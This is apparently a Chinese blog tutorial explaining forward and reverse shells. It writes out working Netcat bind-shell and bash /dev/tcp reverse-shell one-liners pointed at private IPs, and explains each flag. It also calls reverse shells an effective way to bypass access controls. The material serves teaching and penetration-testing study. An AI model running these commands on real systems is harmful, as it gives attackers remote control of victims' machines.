网络安全之反弹Shell

网络安全之反弹Shell

在网络安全和渗透测试领域,"正向Shell"(Forward Shell)和"反向Shell"(Reverse Shell)是两种常用的技术手段,用于建立远程访问目标计算机的会话。这两种技术都可以让攻击者在成功渗透目标系统后执行命令,但它们在建立连接的方式上有所不同。

正向Shell(Forward Shell)

概念

在正向Shell的场景中,攻击者机器作为客户端,主动连接到受害者机器上事先设置好的监听端口。这种方式通常要求受害者机器在外网上具有可访问的开放端口,或者在内网中能够被攻击者机器直接访问。

这种方法的局限性在于,如果受害者机器位于防火墙后或没有公网IP,攻击者可能无法直接连接到受害者机器的监听端口上。

● 攻击者在受害者机器系统上设置一个在特定端口上监听的服务(比如一个Web服务器)。

● 攻击者从自己的机器上,使用一个客户端工具(如Netcat)主动连接到受害者机器的这个服务上。

一旦建立了连接,攻击者就可以通过这个会话向受害者机器发送命令并接收执行结果。

正向Shell示例

● 攻击者在受害者机器上设置监听,使用Netcat监听某个端口

shell 复制代码
nc -lvnp 9999

参数的含义:

● l 代表监听模式

● v 代表详细输出

● n 代表不解析主机名

● p 指定使用的端口

  • 攻击者机器主动连接受害者机器
shell 复制代码
nc 192.168.0.106 9999 -e /bin/bash

这个命令具体是用来建立一个网络连接,并在连接成功后执行一个指定的程序(在这种情况下是 /bin/bash)。

● nc: 这是 Netcat 的命令行工具调用指令,用于启动 Netcat 程序

● 192.168.0.105: 这是受害者机器的 IP 地址,即 Netcat 尝试连接的远程计算机的地址。这个 IP 地址应该替换为实际想要连接的服务器或计算机的 IP 地址。

● 9999: 这是受害者机器上 Netcat 监听的端口号。在执行这个命令之前,受害者机器上应该有一个 Netcat 进程在此端口上监听进入的连接。

● -e /bin/bash: 这个选项是 Netcat 命令的一个参数,用于指定在建立连接后立即执行的程>序。/bin/bash 是一个 Shell,提供了一个命令行界面,允许用户执行各种命令。

● -e 参数告诉 Netcat,一旦连接建立,就执行指定的程序。这里指定的 /bin/bash 将会启动一个 bash shell。

反向Shell(Reverse Shell)

概念

反向Shell的工作方式与正向Shell相反。在这种场景中,是受害者机器主动连接到攻击者的机器上。攻击者首先在自己的机器上设置一个监听特定端口的服务,然后诱使受害者机器执行一个命令或脚本,使其主动连接回攻击者的监听端口。

● 攻击者在自己的机器上使用Netcat等工具监听一个端口(例如 nc -lvvp 9999)。

● 攻击者诱使受害者机器执行一个反向Shell脚本或命令,该脚本配置目标机器连接回攻击者机器的监听端口(例如使用bash、Python等语言编写的脚本)。

● 一旦受害者机器执行了该脚本,它就会主动连接到攻击者的监听端口,从而允许攻击者通过这个会话执行命令。

反向Shell示例

● 攻击者机器上先开启监听端口

shell 复制代码
nc -lvvp 9999

● 受害者机器上再执行bash命令

shell 复制代码
bash -i >& /dev/tcp/192.168.0.105/9999 0>&1

它的作用是在受害者的机器上执行,以建立一个从受害者机器到攻击者机器的连接,并通过这个连接提供一个交互式Shell会话。如下是详细解释:

● bash -i:启动一个交互式的bash会话。-i参数使bash在交互模式下运行,允许用户输入命令。

● >&:这是重定向操作符,用于将标准输出(STDOUT)重定向到另一个位置。在这个命令中,它被用来将bash会话的输出重定向到网络连接上。

● /dev/tcp/192.168.0.105/9999:这是一个特殊的文件路径,利用bash的内置功能来创建TCP连接。/dev/tcp/<目标IP>/<目标端口>用于建立到指定IP地址和端口的TCP连接。在这个例子中,它尝试连接到IP地址192.168.0.105上的9999端口。

● 0>&1:这是另一个重定向操作符,用于将标准输入(STDIN)重定向到标准输出(STDOUT)。在这个上下文中,它的作用是确保从网络连接收到的输入(例如,攻击者发送的命令)被bash会话读取并执行。

当这条命令在受害者机器上执行时,它会尝试连接到攻击者指定的IP地址192.168.0.105和端口9999上。一旦连接建立,攻击者就可以通过这个连接发送命令,受害者的bash会话将执行这些命令并将输出发送回攻击者,从而允许攻击者远程控制受害者的机器。

反向Shell的优势在于,即使目标机器位于NAT或防火墙后面,只要它能够出站到互联网,就能建立连接。这使得反向Shell成为绕过访问控制,实现远程命令执行的一种非常有效的手段。

相关推荐
Lionhacker10 小时前
网络工程师这个行业可以一直干到退休吗?
网络·数据库·网络安全·黑客·黑客技术
centos0811 小时前
PWN(栈溢出漏洞)-原创小白超详细[Jarvis-level0]
网络安全·二进制·pwn·ctf
程序员小予13 小时前
如何成为一名黑客?小白必学的12个基本步骤
计算机网络·安全·网络安全
蜗牛学苑_武汉15 小时前
Wazuh入侵检测系统的安装和基本使用
网络·网络安全
乐茵安全16 小时前
linux基础
linux·运维·服务器·网络·安全·网络安全
如光照18 小时前
Linux与Windows中的流量抓取工具:wireshark与tcpdump
linux·windows·测试工具·网络安全
follycat20 小时前
2024强网杯Proxy
网络·学习·网络安全·go
黑色叉腰丶大魔王21 小时前
《运维网络安全》
运维·网络·网络安全
bluechips·zhao1 天前
协议栈攻击分类(CISP-PTE笔记)
笔记·安全·网络安全